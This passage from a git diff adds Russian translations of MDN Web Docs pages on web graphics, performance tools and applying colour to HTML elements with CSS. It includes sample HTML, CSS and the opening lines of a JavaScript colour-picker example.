+ <li>{{cssxref("@font-face")}}</li>
+</ul>
diff --git a/files/ru/web/guide/графика/index.html b/files/ru/web/guide/графика/index.html
new file mode 100644
index 0000000000..57dd4238e1
--- /dev/null
+++ b/files/ru/web/guide/графика/index.html
@@ -0,0 +1,41 @@
+---
+title: Графика для Web
+slug: Web/Guide/Графика
+translation_of: Web/Guide/Graphics
+---
+<p>Современным веб-сайтам и веб-приложениям часто требуется отображать графику. Статические изображения легко отобразить с помощью элемента {{HTMLElement("img")}}, или с помощью CSS свойства  {{cssxref("background-image")}}. Часто требуется создавать графику на лету, или модифицировать ее каким-либо образом после. Как это проделать можно узнать в следующих статьях.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">2D графика</h2>
+
+<dl>
+ <dt><a href="/ru/docs/HTML/Canvas">Канвас</a></dt>
+ <dd>Элемент {{HTMLElement("canvas")}} представляет удобный API для рисования 2D графики с помощью JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/SVG">SVG</a></dt>
+ <dd>Масштабируемая Векторная Графика (Scalable Vector Graphics) позволяет рисовать линии, кривые, и другие геометрические фигуры. С их помощью можно создавать <span style="font-family: arial,sans-serif; font-size: 10.5pt; line-height: 115%;">масштабируемые </span>изображения, которые не теряют в качестве при изменении размера в отличии от растровой графики.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/Graphics">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">3D графика</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/WebGL">WebGL</a></dt>
+ <dd>Руководство по быстрому старту с WebGL. WebGL предоставляет API для работы с 3D графиками в веб. Эта технология позволяет Вам использовать стандартный OpenGL ES в веб контексте.</dd>
+</dl>
+
+<h2 id="Видео">Видео</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">Использование HTML5 видео и аудио</a></dt>
+ <dd>Встраивание видео и аудио в HTML документ и управление проигрыванием.</dd>
+ <dt><a href="/en-US/docs/WebRTC">WebRTC</a></dt>
+ <dd>RTC в WebRTC означает Real-Time Communications, технология которая позволяет стримить аудио/видео и данные между клиентами браузера (пирами).</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/guide/производительность/index.html b/files/ru/web/guide/производительность/index.html
new file mode 100644
index 0000000000..8b1d2760da
--- /dev/null
+++ b/files/ru/web/guide/производительность/index.html
@@ -0,0 +1,20 @@
+---
+title: Оптимизация и производительность
+slug: Web/Guide/Производительность
+tags:
+  - Оптимизация
+  - Производительность
+translation_of: Web/Guide/Performance
+---
+<p>Создаваемые Вами современные веб-приложения и сайты должны иметь хорошую производительность - работать быстро и эффективно, как на персональных компьютерах (десктоп), так и на менее мощных мобильных устройствах. Существуют различные инструменты для тестирования сайтов на производительность. Самые известные из них:</p>
+
+<ul>
+ <li><a href="https://developers.google.com/speed/pagespeed/insights/" rel="resources">Google PageSpeed Insights</a></li>
+ <li><a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a></li>
+ <li><a href="https://www.webpagetest.org/">WebPageTest</a></li>
+ <li>Browser developer tools</li>
+</ul>
+
+<p>Производительность в web - первостепенная задача для тех, кто заботится о комфорте конечного пользователя.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html
new file mode 100644
index 0000000000..f4bd383bf8
--- /dev/null
+++ b/files/ru/web/html/applying_color/index.html
@@ -0,0 +1,520 @@
+---
+title: Применение цвета к HTML элементам с помощью CSS
+slug: Web/HTML/Applying_color
+translation_of: Web/HTML/Applying_color
+---
+<div>{{HTMLRef}}</div>
+
+<div>
+<p>Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом еще до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, существует множество способов присвоить цвет <a href="/en-US/docs/Web/HTML">HTML</a> элементам, чтобы придать им желаемый вид. <span class="seoSummary">Эта статья дает базовые представления о всех способах </span>применения цвета к HTML элементам с помощью CSS<span class="seoSummary">.</span></p>
+</div>
+
+<p>К счастью, присвоить цвет к HTML элементу очень просто, и это можно сделать практически со всеми элементами.</p>
+
+<p>Мы затронем большинство из того, что нужно знать при использовании цвета, включая {{anch("Что может иметь цвет", "список элементов, которые могут иметь цвет, и необходимые для этого CSS свойства")}}, {{anch("Как задать цвет", "как задать цвет")}}, и как  {{anch("Использование цвета", "использовать его в таблицах стилей и в JS скриптах")}}. Мы также рассмотрим как {{anch("Предоставляем возможность пользователю выбрать цвет", "предоставить возможность пользователю выбрать цвет")}}. </p>
+
+<p>Завершим мы статью размышлениями на тему как {{anch("Using color wisely", "использовать цвет с умом")}}: как выбрать подходящий цвет, учитывая потребности людей с различными визуальными способностями.</p>
+
+<h2 id="Что_может_иметь_цвет">Что может иметь цвет</h2>
+
+<p>На уровне элементов HTML, всему можно присвоить цвет. С точки зрения отдельных составляющих элементов, таких как текст, границы и т.д., существует ряд свойств CSS, с помощью которых можно присвоить цвет. </p>
+
+<p>На фундаментальном уровне, свойство {{cssxref ("color")}} определяет цвет текста HTML элемента, а свойство {{cssxref ("background-color")}} - цвет фона элемента. Они работают практически для всех элементов.</p>
+
+<h3 id="Текст">Текст</h3>
+
+<p>Эти свойства используются для определения цвета текста, его фона и любого оформления текста.</p>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>Свойство color применяется к тексту и любому <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">оформлению текста</a>, например: подчеркивание, линии на текстом, перечеркивание и т.д.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>Цвет фона текста.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>
+ <p>Добавляет и устанавливает параметры тени для текста. Один из параметров тени - это основной цвет, который размывается и смешивается с цветом фона на основе других параметров. См. {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}}, чтобы узнать больше.</p>
+ </dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>
+ <p>По умолчанию, элементы оформление текста (подчеркивание, перечеркивание) используют цвет свойства <code>color</code>. Но вы можете присвоить другой цвет с помощью свойства <code>text-decoration-color</code>.</p>
+ </dd>
+ <dt>{{cssxref("text-emphasis-color")}}</dt>
+ <dd>
+ <p>Цвет, который используется для выделения диакритических знаков, прилегающих к каждому текстовому символу. Это свойство используется преимущественно для восточноазиатских языков.</p>
+ </dd>
+ <dt>{{cssxref("caret-color")}}</dt>
+ <dd>
+ <p>Цвет, который используется для каретки ({{Glossary("caret")}}) (курсора ввода текста). Применимо только к редактируемым элементам, таким как {{HTMLElement ("input")}} и {{HTMLElement ("textarea")}} или элементам , для которых установлен атрибут {{htmlattrxref ("contenteditable")}}.</p>
+ </dd>
+</dl>
+
+<h3 id="Блоки">Блоки</h3>
+
+<p>Каждый элемент представляет собой прямоугольный блок с каким-то содержимым, фоном и границей.</p>
+
+<dl>
+ <dt>{{cssxref("Borders")}}</dt>
+ <dd>См. раздел {{anch("Borders")}} с перечнем свойств CSS, с помощью которых можно присвоить цвет границам блока.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>Цвет фона блока.</dd>
+ <dt>{{cssxref("column-rule-color")}}</dt>
+ <dd>Цвет линий, которые разделяют колонки текста.</dd>
+ <dt>{{cssxref("outline-color")}}</dt>
+ <dd>Цвет контура, вокруг границы элемента. <span style="letter-spacing: -0.00278rem;">Этот контур отличается от границы элемента тем, что он не занимает место в документе и может перекрывать другой элемент. </span><span style="letter-spacing: -0.00278rem;">Обычно его используют как рамку-индикатор, чтобы показать какой элемент находится в фокусе.</span></dd>
+</dl>
+
+<h3 id="Границы">Границы</h3>
+
+<p>Вокруг любого элемента можно создать <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">границу</a>, т.е. линию вокруг содержимого элемента. См. {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}}, чтобы узнать больше про отношения между элементами и их границами, и статью <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Оформляем Границы с Помощью CSS</a>, чтобы узнать больше про то, как применять стили к границам.</p>
+
+<p>Существует краткая запись {{cssxref("border")}}, которая позволяет задать сразу все свойства границы, включая даже не связанные с цветом свойства, такие как толщина линии (<a href="/en-US/docs/Web/CSS/border-width">width</a>), стиль линии (<a href="/en-US/docs/Web/CSS/border-style">style</a>): сплошная (solid),  штриховая (dashed) и так далее.</p>
+
+<dl>
+ <dt>{{cssxref("border-color")}}</dt>
+ <dd>Задает единый цвет для всех сторон границы элемента.</dd>
+ <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt>
+ <dd>Позволяет установить цвет соответствующей стороне границы элемента: <strong>border-left-color</strong> - левая граница, <strong>border-right-color</strong> - правая, <strong>border-top-color</strong> - верхняя, <strong>border-bottom-color</strong> - нижняя.</dd>
+ <dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt>
+ <dd>С помощью этих свойств вы можете установить цвет границ, которые расположены ближе всего к началу и концу блока. Для письменности слева направо, начало границы блока - верхний край, а конец - нижний. Не путайте с началом и концом строки, где начало - это левый край, а конец - правый.</dd>
+ <dt>{{cssxref("border-inline-start-color")}} and {{cssxref("border-inline-end-color")}}</dt>
+ <dd>Эти свойства определяют цвет границы, расположеной ближе всего к началу и концу текста в блоке. <span style="letter-spacing: -0.00278rem;">Сторона начала и конца зависит от свойств </span>{{cssxref("writing-mode")}}, {{cssxref("direction")}} <span style="letter-spacing: -0.00278rem;">и </span>{{cssxref("text-orientation")}}<span style="letter-spacing: -0.00278rem;">, которые обычно (но не всегда) используются для настройки направления текста. Например, если текст отображается справа налево, то </span><code>border-inline-start-color</code> п<span style="letter-spacing: -0.00278rem;">рименяется к правой стороне границы.</span></dd>
+</dl>
+
+<h3 id="Как_можно_еще_использовать_цвет">Как можно еще использовать цвет</h3>
+
+<p>CSS не единственная web-технология, которая поддерживает цвет.</p>
+
+<dl>
+ <dt>HTML <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a></dt>
+ <dd>Позволяет создавать растровую 2D-графику в элементе {{HTMLElement("canvas")}}. См. <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>, чтобы узнать больше.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics - Масштабируемая Векторная Графика)</dt>
+ <dd>
+ <p>Позволяет создавать изображения с помощью команд, которые рисуют определенные фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>Библиотека Веб-Графики (The Web Graphics Library) - это кроссплатформенный API на основе OpenGL ES, используется для создания высокопроизводительной 2D и 3D-графики в браузере. См. <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a>, чтобы узнать больше..</dd>
+</dl>
+
+<h2 id="Как_задать_цвет">Как задать цвет</h2>
+
+<p>Для того чтобы задать цвет в CSS, необходимо найти способ как перевести понятие "цвета" в цифровой формат, который может использовать компьютер. Обычно это делают разбивая цвет на компоненты, например какое количество единиц основных цветов содержится в данном цвете или степень яркости. Соответственно, есть несколько способов как можно задать цвет в CSS.</p>
+
+<p>Подробнее о каждом значения цвета, можно прочитать в статье про CSS {{cssxref("&lt;color&gt;")}}.</p>
+
+<h3 id="Ключевые_слова">Ключевые слова</h3>
+
+<p>Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (<code>red</code>), синий (<code>blue</code>), или оранжевый (<code>orange</code>)), оттенки серого (от черного (<code>black</code>) к белому (<code>white</code>), включая такие цвета как темносерый (<code>darkgray</code>) или светлосерый (<code>lightgrey</code>)), а также множество других смешаных цветов: <code>lightseagreen</code>, <code>cornflowerblue</code>, и <code>rebeccapurple</code>.</p>
+
+<p>См. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - полный перечень всех доступных ключевых слов.</p>
+
+<h3 id="RGB_значения">RGB значения</h3>
+
+<p>Есть три способа передачи RGB цвета в CSS.</p>
+
+<h4 id="Шестнадцатиричная_запись_в_виде_строки">Шестнадцатиричная запись в виде строки</h4>
+
+<p>Шестнадцатиричная запись передает цвет, используя шестнадцатричные числа, которые передают каждый компонент цвета (красный, зеленый и синий). Запись также может включать четвертый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент <em>необходимо</em> задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет расчитывается используя число каждого компонента дважды: <code>"#D"</code> превращается в <code>"#DD"</code>.</p>
+
+<p>Цвет в шестнадцатиричной записи всегда начинается с символа <code>"#"</code>. После него начинаются шестнадцатричные числа цветового кода. Запись не зависит от регистра.</p>
+
+<dl>
+ <dt><code>"#rrggbb"</code></dt>
+ <dd>Задает полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатиричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>.</dd>
+ <dt><code>"#rrggbbaa"</code></dt>
+ <dd>Задает цвет, у которого компонент красного представлен шестнадцатиричным числом <code>0xrr</code>, зеленого - <code>0xgg</code> и синего - <code>0xbb</code>. Альфа канал представлен <code>0xaa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd>
+ <dt><code>"#rgb"</code></dt>
+ <dd>Задает цвет, у которого компонент красного представлен шестнадцатиричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>.</dd>
+ <dt><code>"#rgba"</code></dt>
+ <dd>Задает цвет, у которого компонент красного представлен шестнадцатиричным числом <code>0xr</code>, зеленого - <code>0xg</code> и синего - <code>0xb</code>. Альфа канал представлен <code>0xa</code>; чем ниже значение, тем прозрачнее становится цвет.</dd>
+</dl>
+
+<p>Например, вы можете представить непрозрачный ярко-синий цвет как <code>"#0000ff"</code> или <code>"#00f"</code>. Для того, чтобы сделать его на 25% прозачным, вы можете использовать <code>"#0000ff44"</code> или <code>"#00f4"</code>.</p>
+
+<h4 id="RGB_запись_в_виде_функции">RGB запись в виде функции</h4>
+
+<p>RGB запись в виде функции, как и шестнадцатиричная запись, представляет цвет, используя красный, зеленый и синий компоненты (также, опцинально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зеленого и синего компонентов и, опционально, четвертого компонента - значение альфа канала.</p>
+
+<p>Допустимые значения для каждого из этих параметров:</p>
+
+<dl>
+ <dt><code>red</code>, <code>green</code>, и <code>blue</code></dt>
+ <dd>Каждый параметр должен иметь {{cssxref("&lt;integer&gt;")}} значение между 0 и 255 (включительно), или {{cssxref("&lt;percentage&gt;")}} от 0% до 100%.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>Альфа канал - это числовое значение между 0.0 (полностью прозрачный) и 1.0 (полностью непрозрачный). Также можно указать значение в процентах, где 0% соответствует 0.0, а 100% - 1.0.</dd>
+</dl>
+
+<p>Например, ярко-красный с 50% прозрачностью может быть представлен как <code>rgb(255, 0, 0, 0.5)</code> или <code>rgb(100%, 0, 0, 50%)</code>.</p>
+
+<h3 id="HSL_запись_в_виде_функции">HSL запись в виде функции</h3>
+
+<p>Дизайнеры часто предпочитают использовать цветовую модель {{interwiki("wikipedia", "HSL and HSV", "HSL")}}, где H - Hue (оттенок), S - Saturation (насыщенность), L - Lightness or Luminance (светлота). В браузерах HSL цвет представлен через запись HSL в виде функции. CSS функция <code>hsl()</code> очень похожа на <code>rgb()</code> функцию.</p>
+
+<div style="padding-bottom: 20px;">
+<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
+<figcaption>
+<p><em><strong>Рис. 1. Цилиндрическая модель HSL.</strong> Hue (оттенок) определяет фактический цвет, основыванный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентое соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого темного к самому  светлому (от черного к белому). Изображение представлено пользователем <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a> в <a href="https://www.wikipedia.org/">Wikipedia</a>, распространяется на правах лицензии <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> .</em></p>
+</figcaption>
+</figure>
+</div>
+
+<p>Значение компонента <em>оттенок</em> (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через желтый, зеленый, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("&lt;angle&gt;")}}, а именно -  в градусах (<code>deg</code>), радианах (<code>rad</code>), градиентах (<code>grad</code>) или поворотах (<code>turn</code>). Но компонент <em>оттенок </em>никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.</p>
+
+<p>Компонент <em>насыщенность</em> (S) определяет количество конечного цвета из которого состоит указанный оттенок. Остальное определяется уровнем серого цвета, которое указывает компонент luminance/ lightness (L).</p>
+
+<p>Подумайте об этом как о создании идеального цвета краски:</p>
+
+<ol>
+ <li>Вы начинаете с базовой краски, т.е. с максимально возможной интенсивности данного цвета. Например, наиболее насыщенный синий, который может быть представлен на экране пользователя. Это компонент <em>hue (оттенок)</em>: значение представляющее <strong>угол</strong> вокруг цветового круга для насыщенного оттенка, который мы хотим использовать в качестве нашей базы.</li>
+ <li>Далее выбирете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это <em>luminance/ lightness (яркость)</em>. Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к черному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный черный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.</li>
+ <li>Теперь, когда у есть серый цвет и идеально насыщенный цвет, вам необходимо их смешать. Компонент <em>saturation (насыщенность) </em>определяет какой процент конечного цвета должен состоять из идеально насыщенного цвета. Остаток конечного цвета формируется серым цветом, который представляет насыщенность.</li>
+</ol>
+
+<p>Опционально вы также можете включить альфа-канал, чтобы сделать цвет менее прозрачным.</p>
+
+<p>Вот несколько примеров цвета в HSL записи:</p>
+
+<div id="hsl-swatches">
+<div class="hidden">
+<pre class="brush: css">table {
+  border: 1px solid black;
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border-spacing: 0;
+  border-collapse: collapse;
+}
+
+th, td {
+  border: 1px solid black;
+  padding:4px 6px;
+  text-align: left;
+}
+
+th {
+  background-color: hsl(0, 0%, 75%);
+}</pre>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;thead&gt;
+  &lt;tr&gt;
+   &lt;th scope="col"&gt;Color in HSL notation&lt;/th&gt;
+   &lt;th scope="col"&gt;Example&lt;/th&gt;
+  &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90deg, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90deg, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(90, 100%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(90, 100%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 50%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 50%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 75%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 75%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(0.15turn, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(0.15turn, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+   &lt;td&gt;&lt;code&gt;hsl(270deg, 90%, 50%)&lt;/code&gt;&lt;/td&gt;
+   &lt;td style="background-color: hsl(270deg, 90%, 50%);"&gt;&amp;nbsp;&lt;/td&gt;
+  &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("hsl-swatches", 300, 260)}}</p>
+</div>
+
+<div class="note">
+<p>Обратите внимание, что, когда вы не указываете единицу измерения оттенка (hue), то предполагается, что он указан в градусах (<code>deg</code>).</p>
+</div>
+
+<h2 id="Использование_цвета">Использование цвета</h2>
+
+<p>Теперь, когда вы знаете какие существуют свойства CSS для присваивания цвета к элементам и какие есть форматы описания цвета, вы можете соединить это вместе, чтобы начать использовать цвет. Как вы уже видели в списке под разделом {{anch("Что может иметь цвет")}}, существует множество вещей, к которым можно применить цвет, используя CSS. Давайте взглянем на это с двух сторон: использовать цвет в таблицах стилей ({{Glossary("stylesheet")}}) и добавлять, изменять цвет, используя {{Glossary("JavaScript")}} код.</p>
+
+<h3 id="Цвет_в_таблицах_стилей_CSS">Цвет в таблицах стилей CSS</h3>
+
+<p> </p>
+
+<p>Самый простой способ присвоить цвет элементу и то, как это обычно делается - это просто указать цвет в CSS. Мы не будем останавливаться на каждом из вышеупомянутых свойств, а просто рассмотрим несколько примеров. Где бы вы не использовали цвет, принцип один и тот же.</p>
+
+<p>Давайте начнем наш пример с результата, который нам нужно достичь:</p>
+
+<p> </p>
+
+<div>{{EmbedLiveSample("Specifying_colors_in_stylesheets", 650, 150)}}</div>
+
+<h4 id="HTML">HTML</h4>
+
+<p>HTML, который создает вышеупоменутый пример:</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box boxLeft"&gt;
+    &lt;p&gt;
+      This is the first box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div class="box boxRight"&gt;
+    &lt;p&gt;
+      This is the second box.
+    &lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>Все довольно просто: первый {{HTMLElement("div")}} используется как обертка (wrapper) содержимого, которое состоит из еще двух <code>&lt;div&gt;</code>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.</p>
+
+<p>Все волшебство, как всегда, происходит в CSS, где мы и будем присваивать цвет к данным HTML элементам..</p>
+
+<h4 id="CSS">CSS</h4>
+
+<p>CSS мы рассмотрим более детально, чтобы по очереди проанализировать все интересные части.</p>
+
+<pre class="brush: css">.wrapper {
+  width: 620px;
+  height: 110px;
+  margin: 0;
+  padding: 10px;
+  border: 6px solid mediumturquoise;
+}</pre>
+
+<p> </p>
+
+<p>Класс <code>.wrapper</code> определяет стиль для элемента {{HTMLElement("div")}}, который заключает в себе все остальные элементы. Он устанавливает размер контейнера с помощью свойств ширины {{cssxref("width")}}, высоты {{cssxref("height")}}, внешних {{cssxref("margin")}} и внутренних {{cssxref("padding")}} полей.</p>
+
+<p>Но больше всего нас интересует свойство граница {{cssxref("border")}}, которое устанавливает границу вокруг внешнего края элемента. Данная граница представлена сплошной линией, шириной в 6 пикселей, светло-бирюзового цвета (<code>mediumturquoise</code>).</p>
+
+<p>Два цветных блока имеют ряд одинаковых свойств, поэтому далее мы установим класс <code>.box</code>, который определит эти общие свойства:</p>
+
+<p> </p>
+
+<pre class="brush: css">.box {
+  width: 290px;
+  height: 100px;
+  margin: 0;
+  padding: 4px 6px;
+  font: 28px "Marker Felt", "Zapfino", cursive;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+}</pre>
+
+<p> </p>
+
+<p>Вкратце класс <code>.box</code> устанавливает размер каждого блока и параметры шрифта. Также мы используем <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, чтобы с легкостью отцентрировать содержимое каждого блока. Мы включаем режим <code>flex</code> с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаем отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.</p>
+
+<p> </p>
+
+<pre class="brush: css">.boxLeft {
+  float: left;
+  background-color: rgb(245, 130, 130);
+  outline: 2px solid darkred;
+}</pre>
+
+<p> </p>
+
+<p>Класс <code>.boxLeft</code>, который используется для стилизации левого блока, выравнивает контейнер по левому краю и присваивает цвета:</p>
+
+<ul>
+ <li>{{cssxref("background-color")}} определяет цвет фона блока значением <code>rgb(245, 130, 130)</code>.</li>
+ <li>{{cssxref("outline")}}, в отличие от привычного нам свойства <code>border</code>,  не влияет на положение блока и его ширину. <code>Outline</code> представлен сплошной, темно-красной линией, шириной в 2 пикселя. Обратите внимание на ключевое слово <code>darkred</code>, которое используется для определение цвета.</li>
+ <li>Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это черный цвет.</li>
+</ul>
+
+<p> </p>
+
+<pre class="brush: css">.boxRight {
+  float: right;
+  background-color: hsl(270deg, 50%, 75%);
+  outline: 4px dashed rgb(110, 20, 120);
+  color: hsl(0deg, 100%, 100%);
+  text-decoration: underline wavy #88ff88;
+  text-shadow: 2px 2px 3px black;
+}</pre>
+
+<p> </p>
+
+<p>Класс <code>.boxRight</code> описывает свойства правого блока. Блок выравнивается по правому краю и становится рядом с предыдущим блоком. Затем определяются следующие цвета:</p>
+
+<ul>
+ <li><code>background-color</code> определяется значением HSL: <code>hsl(270deg, 50%, 75%)</code>. Это светло-фиолетовый цвет.</li>
+ <li><code>Outline</code> блока определяет, что вокруг блока должна быть прерывистая линия, шириной в четыре пикселя, фиолетового цвета немного темнее, чем цвет фона (<code>rgb(110, 20, 120)</code>).</li>
+ <li>Цвет текста определяется свойством {{cssxref("color")}}, значение которого <code>hsl(0deg, 100%, 100%)</code>. Это один из многих способов задать белый цвет.</li>
+ <li>С помощью {{cssxref("text-decoration")}} мы добавляем зеленую волнистую линию под текстом.</li>
+ <li>И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую черную тень тексту.</li>
+</ul>
+
+<h2 id="Предоставляем_возможность_пользователю_выбрать_цвет">Предоставляем возможность пользователю выбрать цвет</h2>
+
+<p>There are many situations in which your web site may need to let the user select a color. Perhaps you have a customizable user interface, or you're implementing a drawing app. Maybe you have editable text and need to let the user choose the text color. Or perhaps your app lets the user assign colors to folders or items. Although historically it's been necessary to implement your own {{interwiki("wikipedia", "color picker")}}, HTML now provides support for browsers to provide one for your use through the {{HTMLElement("input")}} element, by using <code>"color"</code> as the value of its {{htmlattrxref("type", "input")}} attribute.</p>
+
+<p>The <code>&lt;input&gt;</code> element represents a color only in the {{anch("Hexadecimal string notation", "hexadecimal string notation")}} covered above.</p>
+
+<h3 id="Example_Picking_a_color">Example: Picking a color</h3>
+
+<p>Let's look at a simple example, in which the user can choose a color. As the user adjusts the color, the border around the example changes to reflect the new color. After finishing up and picking the final color, the color picker's value is displayed.</p>
+
+<p>{{EmbedLiveSample("Example_Picking_a_color", 525, 275)}}</p>
+
+<div class="note">
+<p>On macOS, you indicate that you've finalized selection of the color by closing the color picker window.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The HTML here creates a box that contains a color picker control (with a label created using the {{HTMLElement("label")}} element) and an empty paragraph element ({{HTMLElement("p")}}) into which we'll output some text from our JavaScript code.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;label for="colorPicker"&gt;Border color:&lt;/label&gt;
+  &lt;input type="color" value="#8888ff" id="colorPicker"&gt;
+  &lt;p id="output"&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<p>The CSS simply establishes a size for the box and some basic styling for appearances. The border is also established with a 2-pixel width and a border color that won't last, courtesy of the JavaScript below...</p>
+
+<pre class="brush: css">#box {
+  width: 500px;
+  height: 200px;
+  border: 2px solid rgb(245, 220, 225);
+  padding: 4px 6px;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", "sans-serif"
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The script here handles the task of updating the starting color of the border to match the color picker's value. Then two event handlers are added to deal with input from the <code><a href="/en-US/docs/Web/HTML/Element/input/color">&lt;input type="color"&gt;</a></code> element.</p>
+
+<pre class="brush: js">let colorPicker = document.getElementById("colorPicker");
+let box = document.getElementById("box");
+let output = document.getElementById("output");
+
